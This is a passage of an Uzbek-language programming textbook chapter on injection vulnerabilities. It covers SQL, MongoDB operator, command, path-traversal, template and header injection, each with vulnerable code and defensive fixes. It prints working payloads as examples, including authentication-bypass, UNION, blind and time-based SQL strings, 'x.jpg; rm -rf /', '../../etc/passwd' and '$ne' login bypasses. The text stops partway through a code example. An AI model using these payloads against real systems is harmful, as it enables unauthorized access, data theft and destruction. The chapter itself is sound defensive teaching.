Dasturlash kitobi/14-QISM — Xavfsizlik32 daqiqa

14.3-bob: Injection (SQL, NoSQL, Command)

14-QISM — Web Xavfsizligi · 3-mavzu

1. Kirish va motivatsiya

14.2-bobda XSS — frontend injection (yomon kod brauzerda) — ni ko'rdik. Endi backend injection'ni ko'ramiz: hujumchi yomon ma'lumotni serverga yuborib, uni kod sifatida bajartiradi (DB so'rovi, server buyrug'i, fayl yo'li). Injection — OWASP Top 10'da A03 (eng keng zaifliklardan biri), va eng halokatlilaridan: bitta SQL injection bilan hujumchi butun ma'lumotlar bazasini o'g'irlashi (barcha foydalanuvchi, parol, to'lov), o'zgartirishi, yoki o'chirishi mumkin. Tarixda eng katta ma'lumot sizishlari (millionlab foydalanuvchi) ko'pincha SQL injection orqali bo'lgan.

Injection'ning mohiyati barcha turida bir xil (XSS bilan ham): foydalanuvchi ma'lumoti kod bilan aralashadi. SQL'da — DB so'roviga, NoSQL'da — MongoDB so'roviga, command injection'da — server shell buyrug'iga. Yaxshi xabar: himoya ham bir xil tamoyilga asoslanadi — ma'lumotni koddan ajratish (parametrlangan so'rov, ORM, validatsiya). Zamonaviy ORM (Prisma — 6.12) ko'p injection'ni avtomatik oldini oladi, lekin raw so'rov, string birlashtirish, yoki ehtiyotsiz NoSQL operatorlar — hali ham xavfli. Bu bobda har injection turini (hujum + himoya) ko'ramiz.

Bu bob: injection nima (umumiy mohiyat), SQL injection (hujum turlari, himoya — parametrlangan so'rov), NoSQL injection (MongoDB operator injection), command injection (server shell), boshqa injection (path traversal, LDAP, ORM raw), va himoya tamoyillari (parametrlangan, ORM, validatsiya, least privilege). Har injection turini to'liq — hujum va himoya bilan — ochamiz.

O'xshatish: Injection — bu restoranda soxta buyurtma. Tasavvur qiling, ofitsiant (server) sizning og'zaki buyurtmangizni (foydalanuvchi ma'lumoti) oshxonaga so'zma-so'z yetkazadi. Agar siz "bitta osh, va aytgancha oshpaz, kassani ochib pulni menga ber" desangiz va ofitsiant buni butunlay oshpazga aytsa (ma'lumot + buyruq aralashgan) — oshpaz "kassani ochish"ni ham bajaradi (chunki ofitsiant ajratmadi). Himoya — ofitsiant faqat menyudan buyurtma qabul qiladi (parametrlangan — "taom: osh" — qat'iy format), sizning qo'shimcha "buyruqlaringiz"ni e'tiborsiz qoldiradi (ma'lumot — kod emas). SQL injection — aynan shu: ma'lumot (email) va buyruq (DROP TABLE) aralashsa — DB ikkalasini ham bajaradi; ajratilsa — faqat ma'lumot sifatida ishlatadi.

Nega muhim?

Eng halokatli — bitta SQL injection = butun DB (barcha foydalanuvchi, parol) o'g'irlanishi/o'chirilishi.
A03 (OWASP) — eng keng zaifliklardan; tarixiy eng katta sizishlar manbai.
Bir xil tamoyil — SQL/NoSQL/command — hammasi "ma'lumotni koddan ajrat".
Backend majburiy bilim — har backend dasturchi injection'ni bilishi shart.

2. Nazariya — chuqur tushuntirish

2.1. Injection mohiyati

text

  INJECTION — foydalanuvchi ma'lumoti KOD sifatida bajarilishi (umumiy mohiyat):

  MUAMMO: ma'lumot va kod ARALASHadi (string birlashtirish):
  buyruq = kod_qism + foydalanuvchi_malumoti + kod_qism
   agar foydalanuvchi ma'lumoti KOD bo'lsa — bajariladi (injection)

  TURLAR (qaysi kodga aralashadi):
  SQL injection       DB so'rovi (SELECT, DROP — 2.2)
  NoSQL injection     MongoDB so'rovi (operator — 2.3)
  Command injection   server shell buyrug'i 2.4-bob
  XSS 14.2-bob          brauzer HTML/JS
  LDAP/XML/...        boshqa interpretator

  YECHIM (umumiy): ma'lumotni KODDAN AJRAT
   parametrlangan so'rov (ma'lumot = qiymat, kod emas)
   validatsiya (kutilgan format), sanitizatsiya, least privilege

   Injection — foydalanuvchi ma'lumoti kod sifatida (string birlashtirish — xavfli)
   Yechim — ma'lumotni koddan ajrat (parametrlangan — har turida bir xil tamoyil)

Injection mohiyati — barcha injection turlarining umumiy g'oyasi. Injection — foydalanuvchi ma'lumotining kod sifatida bajarilishi. Muammo: ma'lumot va kod aralashadi — odatda string birlashtirish orqali (buyruq = kod + foydalanuvchi_malumoti + kod) — agar foydalanuvchi ma'lumoti aslida kod bo'lsa (zararli), u bajariladi (injection). Turlar (qaysi "interpretator"ga aralashadi): SQL injection (DB so'roviga — SELECT, DROP — 2.2), NoSQL injection (MongoDB so'roviga — operator — 2.3), command injection (server shell buyrug'iga — 2.4), XSS (brauzer HTML/JS — 14.2), LDAP/XML/template (boshqa interpretatorlar). Yechim (umumiy — har turida bir xil): ma'lumotni koddan ajratish — parametrlangan so'rov (ma'lumot = qiymat, kod emas), validatsiya (kutilgan format), sanitizatsiya, least privilege (14.1: 2.3). Ikki nuqta: (1) injection — foydalanuvchi ma'lumoti kod sifatida (string birlashtirish — ${userInput} — xavfli, ma'lumot kodga aralashadi); (2) yechim — ma'lumotni koddan ajrat (parametrlangan so'rov — har injection turida bir xil tamoyil). Demak XSS 14.2-bob va SQL/NoSQL/command injection — bir oilaning a'zolari (mohiyat bir xil — ma'lumot kodga aralashishi), faqat interpretator farq (brauzer, DB, shell). Bu umumiy tamoyilni tushunsangiz — har injection turini bir xil yondashuv bilan hal qilasiz (ajrat, validatsiya). Bu — A03 (OWASP)ning yuragi.

2.2. SQL injection (hujum va himoya)

text

  SQL INJECTION — DB so'roviga yomon ma'lumot (eng halokatli):

   ZAIF (string birlashtirish):
  const q = `SELECT * FROM users WHERE email='${email}' AND pass='${pass}'`;
  // hujumchi: email = admin'--
  //  SELECT * FROM users WHERE email='admin'-- ' AND pass='...'
  //   -- = izoh (qolgani e'tiborsiz)  parol tekshiruvsiz admin sifatida kiradi!

  KENG HUJUMLAR:
  ' OR '1'='1        har doim rost (autentifikatsiya chetlab o'tish)
  '; DROP TABLE users; --   jadvalni O'CHIRISH
  ' UNION SELECT password FROM users --   boshqa jadval ma'lumoti o'g'irlash

   XAVFSIZ (parametrlangan so'rov):
  // ORM (Prisma — avtomatik parametrlangan):
  await db.user.findFirst({ where: { email, password: hash } });
  // Raw SQL (parametrlangan — $1, ? yoki teglangan shablon):
  await db.$queryRaw`SELECT * FROM users WHERE email = ${email}`;  // ${} parametr
  // pg: client.query('SELECT * FROM users WHERE email=$1', [email]);

   SQL injection — string birlashtirish (${})  ma'lumot kod bo'ladi (XAVFLI)
   Himoya — parametrlangan so'rov (ORM yoki $1/teglangan) — ma'lumot FAQAT qiymat

SQL injection (hujum va himoya) — eng halokatli injection. SQL injection — DB so'roviga yomon ma'lumot. Zaif kod (string birlashtirish): SELECT * FROM users WHERE email='${email}' AND pass='${pass}' — agar hujumchi email = admin'-- kiritsa, so'rov ... WHERE email='admin'-- ' AND pass='...' bo'ladi — -- SQL'da izoh (qolgan qism, ya'ni parol tekshiruvi, e'tiborsiz qoladi) hujumchi parolsiz admin sifatida kiradi (autentifikatsiya chetlab o'tildi). Keng hujumlar: ' OR '1'='1 (har doim rost — barcha foydalanuvchi/login chetlab o'tish), '; DROP TABLE users; -- (jadvalni o'chirish — barcha ma'lumot yo'qoladi), ' UNION SELECT password FROM users -- (boshqa jadval ma'lumotini o'g'irlash — parollar). Xavfsiz kod (parametrlangan so'rov): (1) ORM (Prisma — 6.12 — avtomatik parametrlangan): db.user.findFirst({ where: { email, password: hash } }) — Prisma emailni qiymat sifatida ishlatadi (kod emas — injection yo'q); (2) raw SQL — parametrlangan ($queryRaw\... ${email}`— Prisma teglangan shablon —${email}parametr sifatida, yoki pg'daquery('...WHERE email=$1', [email])—$1 placeholder). Ikki nuqta: (1) SQL injection — string birlashtirish (${}so'rov ichida) ma'lumot kod bo'ladi (xavfli —' OR '1'='1, DROP TABLE); (2) himoya — parametrlangan so'rov (ORM yoki $1/teglangan shablon) — ma'lumot **faqat qiymat** (DB uni "qidiriladigan matn" deb biladi, "buyruq" emas). Zamonaviy ORM default parametrlangan (xavfsiz) — shuning uchun Prisma/Drizzle ishlatish o'zi katta himoya. Xavf faqat **raw so'rov** + string birlashtirish (qo'lda). Qoida: **hech qachon** foydalanuvchi ma'lumotini SQL string'ga ${}` bilan qo'shma — parametr ishlat. SQL injection — eng katta ma'lumot sizishlarining sababi (millionlab parol o'g'irlangan).

2.3. NoSQL injection (MongoDB)

text

  NOSQL INJECTION — MongoDB so'roviga operator injection:

   ZAIF (foydalanuvchi obyektini to'g'ridan so'rovga):
  // Login: { email, password }
  await User.findOne({ email: req.body.email, password: req.body.password });
  // hujumchi JSON yuboradi: { "email": "admin@x.com", "password": { "$ne": null } }
  //  password: { $ne: null } = "null EMAS" = har qanday parol  admin sifatida kiradi!

  MONGODB OPERATOR HUJUMLARI:
  { "$ne": null }       "teng emas" (har qanday qiymat — parol chetlab o'tish)
  { "$gt": "" }         "katta" (har qanday)
  { "$regex": ".*" }    har narsaga mos

   XAVFSIZ:
  // 1. Tur tekshir (string ekanini — operator obyekt emas):
  if (typeof req.body.password !== "string") return res.status(400)...;
  // 2. Validatsiya (Zod — kutilgan format — 13.5: 2.9):
  const { email, password } = LoginSchema.parse(req.body);  // string majburlaydi
  // 3. Mongoose strict schema + sanitizatsiya (express-mongo-sanitize)

   NoSQL injection — foydalanuvchi OBYEKTini so'rovga ($ne, $gt — operator)
   Himoya — tur tekshir (string), validatsiya (Zod), sanitizatsiya ($ operatorlarni rad)

NoSQL injection (MongoDB) — NoSQL bazasiga operator injection. SQL injection string birlashtirish orqali bo'lsa, NoSQL injection ko'pincha operator injection orqali (MongoDB so'rovlari JSON/obyekt — hujumchi obyektga maxsus operatorlar qo'shadi). Zaif kod: User.findOne({ email: req.body.email, password: req.body.password }) — agar req.body JSON sifatida { "email": "admin@x.com", "password": { "$ne": null } } bo'lsa, so'rov password: { $ne: null } ($ne = "teng emas") = "paroli null bo'lmagan" = har qanday parol hujumchi admin sifatida kiradi (parol bilmasdan). MongoDB operator hujumlari: { "$ne": null } (teng emas — chetlab o'tish), { "$gt": "" } (katta — har qanday), { "$regex": ".*" } (har narsaga mos). Bu express'da keng (JSON body to'g'ridan so'rovga). Xavfsiz kod: (1) tur tekshir — typeof req.body.password !== "string" (parol string bo'lishi kerak — agar obyekt bo'lsa, operator injection — rad); (2) validatsiya (Zod — LoginSchema.parse(req.body) — z.string() string majburlaydi — obyekt rad — 13.5: 2.9); (3) sanitizatsiya (express-mongo-sanitize — $ bilan boshlangan kalitlarni olib tashlaydi), Mongoose strict schema. Ikki nuqta: (1) NoSQL injection — foydalanuvchi obyektini so'rovga ($ne, $gt, $regex operatorlar — parol/login chetlab o'tish); (2) himoya — tur tekshir (string ekanini), validatsiya (Zod), sanitizatsiya ($ operatorlarni rad). Asosiy sabab — foydalanuvchi JSON body'ni tekshirmasdan so'rovga qo'yish (operator obyekt o'tib ketadi). Validatsiya (Zod — har maydon kutilgan tur) — eng yaxshi himoya (string kutilsa obyekt rad). MongoDB ishlatsangiz, har foydalanuvchi kiritishini validatsiya qil (tur + format) — NoSQL injection oldini olinadi. SQL'dan farqli (string birlashtirish), NoSQL — operator injection (lekin yechim — validatsiya + tur tekshir).

2.4. Command injection (server shell)

text

  COMMAND INJECTION — server shell buyrug'iga yomon ma'lumot (juda halokatli):

   ZAIF (foydalanuvchi ma'lumotini shell buyrug'iga):
  const { exec } = require("child_process");
  exec(`convert ${filename} output.png`);   // rasm konvertatsiya
  // hujumchi: filename = "x.jpg; rm -rf /"    convert x.jpg; rm -rf / output.png
  //  ; bilan ikkinchi buyruq (rm -rf /) — SERVERNI O'CHIRADI!

  SHELL META-BELGILAR (xavfli):
  ;  &&  ||  |  `  $()  >  <    buyruqlarni zanjirlash/almashtirish

   XAVFSIZ:
  // 1. Shell ISHLATMA — to'g'ridan dastur + argument massivi (shell yo'q):
  const { execFile } = require("child_process");
  execFile("convert", [filename, "output.png"]);  // argument — qiymat (shell parsing yo'q)
  // 2. Validatsiya (filename — faqat ruxsat etilgan belgilar)
  // 3. Iloji bo'lsa — shell buyruq O'RNIGA kutubxona (sharp — rasm uchun)

   Command injection — foydalanuvchi ma'lumotini shell buyrug'iga (; && | — zanjirlash)
   Himoya — execFile (shell yo'q, argument massivi) + validatsiya; yoki kutubxona

Command injection (server shell) — server shell buyrug'iga injection (juda halokatli). Command injection — foydalanuvchi ma'lumotini server shell buyrug'iga qo'shish. Zaif kod: exec(\convert ${filename} output.png`)(rasm konvertatsiya — foydalanuvchi yuklagan fayl nomi bilan) — agarfilename = "x.jpg; rm -rf /"bo'lsa, buyruqconvert x.jpg; rm -rf / output.pngbo'ladi — shell'da;ikki buyruqni ajratadi,rm -rf /(butun serverni o'chirish) bajariladi (juda halokatli — server yo'qoladi). **Shell meta-belgilar** (xavfli):; && || |`` `` $() > < (buyruqlarni zanjirlash, almashtirish, fayl yo'naltirish). **Xavfsiz kod**: (1) **shell ishlatma** — execFile("convert", [filename, "output.png"]) — exec (shell orqali — meta-belgilar ishlaydi) o'rniga execFile (to'g'ridan dastur + **argument massivi** — shell parsing yo'q — filename faqat argument qiymati, ; ishlamaydi); (2) **validatsiya** (filename — faqat ruxsat etilgan belgilar — harf/raqam/nuqta); (3) iloji bo'lsa — shell buyruq **o'rniga** kutubxona (masalan rasm uchun sharp — Node kutubxonasi, shell yo'q — eng xavfsiz). Ikki nuqta: (1) command injection — foydalanuvchi ma'lumotini shell buyrug'iga (; && | — buyruqlarni zanjirlash — server buyruqlarini bajartirish); (2) himoya — execFile (shell yo'q — argument massivi) + validatsiya, yoki kutubxona (shell butunlay yo'q). Command injection kamroq uchraydi (kam ilova shell ishlatadi), lekin eng halokatli (butun server nazorati). Qoida: foydalanuvchi ma'lumotini shell buyrug'iga **hech qachon** qo'shma — execFile (argument massivi) yoki Node kutubxonasi. Fayl yuklash, konvertatsiya, tashqi dastur chaqirish — bu xavf bor (foydalanuvchi fayl nomi/ma'lumoti shell'ga). Iloji boricha shell'dan qoch (kutubxona ishlat).

2.5. Boshqa injection turlari

text

  BOSHQA INJECTION TURLARI (qisqa — bir xil tamoyil):

  1. PATH TRAVERSAL (fayl yo'liga injection):
   readFile(`./uploads/${filename}`)  // filename = "../../etc/passwd"
  //  ../ bilan papkadan chiqib, server fayllarini o'qish
   path.basename(filename) (faqat fayl nomi) + ruxsat etilgan papka tekshir

  2. ORM RAW INJECTION (parametrlanmagan raw):
   db.$queryRawUnsafe(`SELECT * FROM users WHERE id = ${id}`)  // Unsafe — xavfli
   db.$queryRaw`... ${id}`  (teglangan — parametrlangan)

  3. TEMPLATE/SSTI injection (template engine):
   template render foydalanuvchi ma'lumoti bilan (kod bajariladi)
   avtomatik escape (engine default), foydalanuvchi template bermasin

  4. HEADER injection (CRLF):
   header'ga foydalanuvchi ma'lumoti (\r\n bilan yangi header)
   \r\n filtrla / framework header API (validatsiya)

   Boshqa turlar — bir xil tamoyil (ma'lumotni koddan/yo'ldan ajrat)
   Path traversal (../), ORM Unsafe, template, header — har biri validatsiya/ajratish

Boshqa injection turlari — kamroq uchraydigan, lekin bir xil tamoyil. (1) Path traversal (fayl yo'liga injection): readFile(\./uploads/${filename}`)— agarfilename = "../../etc/passwd"bo'lsa,../bilan papkadan **chiqib**, server fayllarini (parollar, config) o'qish; himoya —path.basename(filename)(faqat fayl nomi — yo'l qismini olib tashlaydi) + ruxsat etilgan papka tekshir (fayl ruxsat etilgan papkada ekanini); (2) **ORM raw injection** (parametrlanmagan raw): Prisma'da$queryRawUnsafe(`...${id}`)—Unsafe(nomi ogohlantiradi) string birlashtirish — xavfli;$queryRaw`...${id}` (teglangan — parametrlangan — xavfsiz); (3) **template/SSTI injection** (Server-Side Template Injection): template engine'ga foydalanuvchi ma'lumoti template sifatida berilsa — kod bajariladi; himoya — avtomatik escape (engine default), foydalanuvchi template **bermasin** (faqat ma'lumot); (4) **header injection** (CRLF): HTTP header'ga foydalanuvchi ma'lumoti (\r\nbilan yangi header/javob "kiritish"); himoya —\r\n filtrlash, framework header API (validatsiya). Ikki nuqta: (1) boshqa turlar — bir xil tamoyil (ma'lumotni koddan/yo'ldan **ajrat** — 2.1); (2) path traversal (../`), ORM Unsafe, template, header — har biri validatsiya/ajratish bilan hal qilinadi. Bu turlar kamroq uchraydi, lekin mavjud (ayniqsa fayl yuklash — path traversal, raw SQL — ORM Unsafe). Umumiy qoida 2.6-bob: foydalanuvchi ma'lumotini hech qaerga (SQL, NoSQL, shell, fayl yo'li, template, header) to'g'ridan qo'yma — ajrat/validatsiya. Injection oilasi keng, lekin tamoyil bitta.

2.6. Himoya tamoyillari (umumiy)

text

  INJECTION HIMOYASI — umumiy tamoyillar (har turida):

  1. PARAMETRLANGAN SO'ROV (ma'lumot = qiymat, kod emas):
   ORM (Prisma — avtomatik), prepared statement ($1, ?), teglangan shablon

  2. VALIDATSIYA (kirishda — kutilgan format/tur):
   Zod (har maydon — tur, format) — kutilmaganni rad (13.5: 2.9)
   "never trust user input" (14.1: 2.3)

  3. SANITIZATSIYA (xavfli belgilarni olib tashlash):
   NoSQL: $ operatorlar; path: ../; shell: meta-belgilar

  4. LEAST PRIVILEGE (DB foydalanuvchi — faqat kerakli):
   app DB foydalanuvchi DROP/admin huquqsiz (injection bo'lsa — zarar cheklangan)

  5. ALLOWLIST (oq ro'yxat — faqat ruxsat etilganni qabul):
   masalan saralash maydoni: faqat ["name","date"] (foydalanuvchi kiritgan emas)

   Himoya — parametrlangan + validatsiya + sanitizatsiya + least privilege + allowlist
   ORM (Prisma) default parametrlangan — eng oson himoya; raw'da ehtiyot

Himoya tamoyillari (umumiy) — barcha injection turlariga qarshi. Besh tamoyil (har injection turida qo'llaniladi): (1) parametrlangan so'rov — ma'lumot = qiymat (kod emas): ORM (Prisma — avtomatik parametrlangan), prepared statement ($1, ?), teglangan shablon ($queryRaw\...`) — bu eng asosiy SQL/NoSQL himoyasi (2.2, 2.3); (2) **validatsiya** (kirishda — kutilgan format/tur): Zod (har maydon — tur, format — z.string(), z.email()) — kutilmaganni rad (operator obyekt, noto'g'ri format — 13.5: 2.9, "never trust input" — 14.1: 2.3); (3) **sanitizatsiya** (xavfli belgilarni olib tashlash): NoSQL — $operatorlar, path —../, shell — meta-belgilar; (4) **least privilege** (DB foydalanuvchi — faqat kerakli — 14.1: 2.3): app'ning DB foydalanuvchisi DROP/admin huquqsiz bo'lsa, injection bo'lsa ham hujumchi jadvalni o'chira olmaydi (zarar cheklangan); (5) **allowlist** (oq ro'yxat — faqat ruxsat etilganni qabul): masalan saralash maydoni ?sort=... — foydalanuvchi kiritgan maydonni to'g'ridan DB'ga emas, balki ruxsat etilgan ro'yxat (["name", "date"]`) bilan tekshir (kutilmaganni rad). Ikki nuqta: (1) himoya — parametrlangan + validatsiya + sanitizatsiya + least privilege + allowlist (qatlamlar — defense in depth); (2) ORM (Prisma) default parametrlangan — eng oson himoya (raw so'rovda ehtiyot). Bu tamoyillar birga — injection'ni samarali oldini oladi. Eng muhim — parametrlangan so'rov (ma'lumotni koddan ajratish — 2.1 mohiyat) va validatsiya (kutilmaganni rad). ORM ishlatish (Prisma) ko'p ishni qiladi (avtomatik parametrlangan), lekin validatsiya (Zod) va least privilege ham kerak (defense in depth). Injection — eski, lekin hali ham keng zaiflik (sababi — string birlashtirish odati); bu tamoyillar uni yo'qotadi.

2.7. SQL injection hujum turlari (chuqurroq)

text

  SQL INJECTION — hujum TURLARI (natijaning qanday chiqishiga qarab):

  1. IN-BAND (natija bevosita javobda):
     UNION-based  ' UNION SELECT username, password FROM users --
                   (boshqa jadval ustunlarini javobga "ulash")
     ERROR-based  xato xabaridan ma'lumot sizadi (DB xatosi ekranda)
                   ' AND updatexml(1, concat(0x7e, version()), 1) --

  2. BLIND (natija javobda YO'Q — bilvosita "ha/yo'q"):
     BOOLEAN-based  ' AND SUBSTRING(password,1,1)='a' --
                     (javob o'zgarsa — harf to'g'ri: harfma-harf parol topish)
     TIME-based     ' AND IF(1=1, SLEEP(5), 0) --
                     (javob 5s kechiksa — shart rost: uxlash orqali "o'qish")

  3. STACKED (bir nechta buyruq — ; bilan):
     '; DROP TABLE users; --  (asosiy so'rovdan keyin yangi buyruq)

   In-band — natija javobda (UNION/error); blind — javob YO'Q (boolean/time)
   HAMMASINING yechimi bir xil — parametrlangan so'rov (2.2)

SQL injection hujum turlari (chuqurroq) — bitta himoya (parametrlangan so'rov) barchasini to'sadi, lekin hujumchi qanday ishlashini bilish foydali (nega blind injection "ko'rinmas" bo'lsa ham xavfli). Turlar natijaning qayerdan chiqishiga qarab bo'linadi. (1) In-band (natija to'g'ridan javobda): UNION-based — ' UNION SELECT username, password FROM users -- (asosiy so'rov natijasiga boshqa jadval ustunlarini "ulaydi" — parollar javobda ko'rinadi; shart — ustunlar soni/turi mos bo'lishi); error-based — DB xato xabari ekranda ko'rinsa (masalan 500 javobda SQL xatosi), hujumchi ataylab xato keltirib (updatexml, extractvalue), xato matnida ma'lumot (versiya, jadval nomi) sizib chiqadi — shuning uchun DB xatolarini foydalanuvchiga ko'rsatmang (14.1 — umumiy 500). (2) Blind (natija javobda yo'q — bilvosita): boolean-based — ' AND SUBSTRING(password,1,1)='a' -- (javob o'zgarsa — masalan "topildi" vs "topilmadi" — harf to'g'ri; harfma-harf butun parolni topadi — sekin, lekin ishlaydi); time-based — ' AND IF(1=1, SLEEP(5), 0) -- (javob 5 soniya kechiksa — shart rost; DB'ni "uxlatish" orqali javobsiz ham ma'lumot o'qiydi). (3) Stacked — '; DROP TABLE users; -- (asosiy so'rovdan keyin ; bilan yangi buyruq — o'chirish; ba'zi driverlar ko'p buyruqni bloklaydi, lekin ba'zilari yo'q). Ikki nuqta: (1) in-band — natija javobda (UNION/error), blind — javob yo'q (boolean/time — sekinroq, lekin baribir butun DB o'qiydi); (2) hammasining yechimi bir xil — parametrlangan so'rov (2.2 — ma'lumot koddan ajratilsa, hech qaysi tur ishlamaydi). Blind injection ayniqsa xavfli — u "ko'rinmas" (javobda xato/ma'lumot yo'q), shuning uchun ko'p dasturchi "xato chiqmaganidan" xavfsiz deb o'ylaydi, lekin time-based bilan hujumchi baribir hammasini o'qiydi. Xulosa — "ma'lumot sizmagani" himoya emas; yagona ishonchli yechim — parametrlangan so'rov.

2.8. Injection topish (testing) va qo'shimcha qatlamlar

text

  INJECTION TOPISH (testing) + qo'shimcha himoya qatlamlari:

  TESTING (o'z ilovangni sinash — faqat RUXSAT bilan):
   qo'lda payload: ' OR '1'='1  |  { "$ne": null }  |  ; whoami
   sqlmap — SQL injection avtomatik topish/ekspluatatsiya (audit vositasi)
   Zod/DTO test: obyekt/noto'g'ri tur yuborib — 400 qaytishini tekshir

  QO'SHIMCHA QATLAMLAR (defense in depth — asosiy emas, qo'shimcha):
   WAF (Web Application Firewall) — ma'lum payloadlarni bloklaydi
    (Cloudflare, AWS WAF) — LEKIN chetlab o'tiladi (bypass)  yagona himoya EMAS
   stored procedure — parametrlangan bo'lsa xavfsiz (dinamik SQL bo'lsa — YO'Q)
   DB xatolarini yashir (error-based injection'ni qiyinlashtiradi — 2.7)

  SECOND-ORDER INJECTION (kechiktirilgan):
   1-qadam: zararli ma'lumot DB'ga SAQLANadi (o'sha payt ishlamaydi)
   2-qadam: keyin o'sha ma'lumot boshqa raw so'rovda ishlatiladi  injection
   yechim: DB'dan o'qilgan ma'lumotni HAM parametrlangan ishlatish

   Testing — o'z ilovangni payload bilan sina (sqlmap); WAF — qo'shimcha, asosiy EMAS
   Second-order — saqlangan ma'lumot keyin injection; parametrlangan HAR doim

Injection topish (testing) va qo'shimcha qatlamlar — injection'ni oldini olish (parametrlangan so'rov) asosiy, lekin uni sinash va qo'shimcha qatlamlar ham foydali. Testing (faqat o'z ilovangizni yoki ruxsat berilgan tizimni — begona saytni sinash noqonuniy): (1) qo'lda payload — har kirish nuqtasiga klassik payload yuborib ko'rish (' OR '1'='1, { "$ne": null }, ; whoami) — javob o'zgarsa (xato, boshqa natija, kechikish) — zaiflik bor; (2) sqlmap — SQL injection'ni avtomatik topadigan va ekspluatatsiya qiladigan ochiq audit vositasi (URL/parametr beriladi, u barcha turni — UNION, blind, time — sinaydi) — o'z ilovangizni auditda foydali; (3) validatsiya testi — Zod/DTO'ga ataylab noto'g'ri tur (obyekt, $ne) yuborib, 400 qaytishini tekshirish (avtomatik test — 13.5). Qo'shimcha qatlamlar (defense in depth — bular parametrlangan so'rov o'rniga emas, ustiga): (1) WAF (Web Application Firewall — Cloudflare, AWS WAF) — ma'lum injection payloadlarini so'rovda tanib bloklaydi, lekin chetlab o'tiladi (encoding, yangi payload) — shuning uchun WAF yagona himoya emas, faqat qo'shimcha to'siq; (2) stored procedure (DB'da saqlangan protsedura) — agar ichida parametrlar ishlatilsa xavfsiz, lekin protsedura ichida dinamik SQL (string birlashtirish) bo'lsa — baribir injection (ya'ni "stored procedure ishlatdim" o'zi himoya emas); (3) DB xatolarini yashirish (error-based injection'ni — 2.7 — qiyinlashtiradi). Second-order (kechiktirilgan) injection — nozik tur: (1) hujumchi zararli ma'lumotni (masalan ismga ' --) DB'ga saqlaydi (saqlash payti — parametrlangan bo'lsa — hech narsa bo'lmaydi), (2) keyin o'sha saqlangan ma'lumot boshqa joyda raw so'rovga ishlatilsa (masalan hisobot yaratishda ... WHERE name = '${user.name}') — o'sha payt injection ishlaydi; yechim — DB'dan o'qilgan ma'lumotni ham (nafaqat foydalanuvchidan kelganni) parametrlangan ishlatish (ma'lumot manbai — foydalanuvchi yoki DB — farqi yo'q, har doim parametr). Ikki nuqta: (1) testing — o'z ilovangizni payload/sqlmap bilan sinang (zaiflikni oldindan toping), WAF — qo'shimcha to'siq, asosiy himoya emas; (2) second-order — saqlangan ma'lumot keyin injection'ga sabab; yechim — har so'rovda parametrlangan (manbadan qat'i nazar). Xulosa — himoya (parametrlangan) + tekshirish (testing) + qatlamlar (WAF, least privilege) birga — ishonchli injection himoyasi.

3. Sintaksis — tez ma'lumotnoma

text

SQL XAVFSIZ 2.2-bob:  db.user.findFirst({ where: { email } })  | $queryRaw`...${x}`
SQL XAVFLI 2.2-bob:   `SELECT ... WHERE email='${email}'`  (string birlashtirish)
NoSQL 2.3-bob:        typeof x === "string" tekshir; Zod validatsiya; $ rad
COMMAND 2.4-bob:      execFile("cmd", [arg])  (exec emas — shell yo'q)
PATH 2.5-bob:         path.basename(filename); ruxsat papka tekshir
VALIDATSIYA 2.6-bob:  Zod (tur+format); allowlist (saralash/filtr maydoni)
LEAST PRIV 2.6-bob:   app DB foydalanuvchi DROP/admin huquqsiz

4. Batafsil misollar

Har misol: Maqsad + izohli kod + "Bu nima qiladi".

Misol 1 — SQL injection hujumi va himoyasi (2.2)

Maqsad: SQL injection qanday autentifikatsiyani chetlab o'tishini va parametrlangan so'rov qanday himoyalashini ko'rsatish. Bu eng klassik injection.

tsx

//  ZAIF — login (string birlashtirish):
async function login(email: string, password: string) {
  const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
  return db.$queryRawUnsafe(query);   // Unsafe — string to'g'ridan
}
// hujumchi: email = "' OR '1'='1' --"
//  SELECT * FROM users WHERE email = '' OR '1'='1' -- AND password = '...'
//   '1'='1' har doim rost, -- qolganini izohga  BIRINCHI foydalanuvchi (admin) qaytadi!

//  XAVFSIZ — ORM (parametrlangan):
async function login(email: string, password: string) {
  const user = await db.user.findUnique({ where: { email } });   // email = qiymat
  if (!user) return null;
  const valid = await bcrypt.compare(password, user.passwordHash);   // parol alohida (14.5)
  return valid ? user : null;
}
//  email "' OR '1'='1" bo'lsa ham — BUTUN string sifatida qidiriladi (bunday email yo'q)

Bu nima qiladi: Bu — klassik SQL injection (autentifikatsiya chetlab o'tish — 2.2). Zaif kod: login so'rovini string birlashtirish bilan qurish (...WHERE email = '${email}'...) va $queryRawUnsafe (parametrlanmagan — string to'g'ridan bajariladi). Hujumchi email maydoniga ' OR '1'='1' -- kiritsa, so'rov ...WHERE email = '' OR '1'='1' -- AND password = '...' bo'ladi: '1'='1' har doim rost (shart bajariladi), -- SQL izoh (qolgan qism — parol tekshiruvi — e'tiborsiz qoladi). Natija: so'rov birinchi foydalanuvchini (odatda admin — id=1) qaytaradi hujumchi parolsiz, admin sifatida kiradi (autentifikatsiya butunlay chetlab o'tildi). Bu eng halokatli (admin hisobi egallandi). Xavfsiz kod: ORM (db.user.findUnique({ where: { email } })) — Prisma emailni parametr (qiymat) sifatida ishlatadi (kod emas) — agar email = "' OR '1'='1" bo'lsa ham, u butun string sifatida qidiriladi (bunday email manzili DB'da yo'q null login rad). Parol esa alohida bcrypt.compare bilan tekshiriladi (14.5 — DB'da parol hash, so'rovda emas — qo'shimcha himoya). Demak: (1) parametrlangan so'rov (ORM) — email injection'ni oldini oladi; (2) parolni alohida tekshirish (bcrypt) — paroldan ham injection bo'lmaydi. Hech qachon $queryRawUnsafe yoki string birlashtirish bilan SQL qurma — ORM yoki parametrlangan raw ($queryRaw\...``). Prisma kabi ORM ishlatish o'zi bu xatoni deyarli yo'qotadi (default parametrlangan). SQL injection — eng eski, lekin hali ham keng (legacy kod, raw so'rovlar) — parametrlangan so'rov uni yo'qotadi.

Maqsad: MongoDB'da operator injection bilan login chetlab o'tish va himoyasi. Bu express + MongoDB'da keng zaiflik.

tsx

//  ZAIF — req.body to'g'ridan so'rovga (Express + Mongoose):
app.post("/login", async (req, res) => {
  const user = await User.findOne({
    email: req.body.email,
    password: req.body.password,   // hujumchi: { "$ne": null }
  });
  if (user) res.json({ token: createToken(user) });
});
// hujumchi JSON: { "email": "admin@x.com", "password": { "$ne": null } }
//  password: { $ne: null } = "null emas" = HAR QANDAY  admin token oladi!

//  XAVFSIZ — validatsiya (Zod — string majburlaydi):
import { z } from "zod";
const LoginSchema = z.object({
  email: z.string().email(),
  password: z.string().min(1),   //  STRING majburlaydi (obyekt rad)
});

app.post("/login", async (req, res) => {
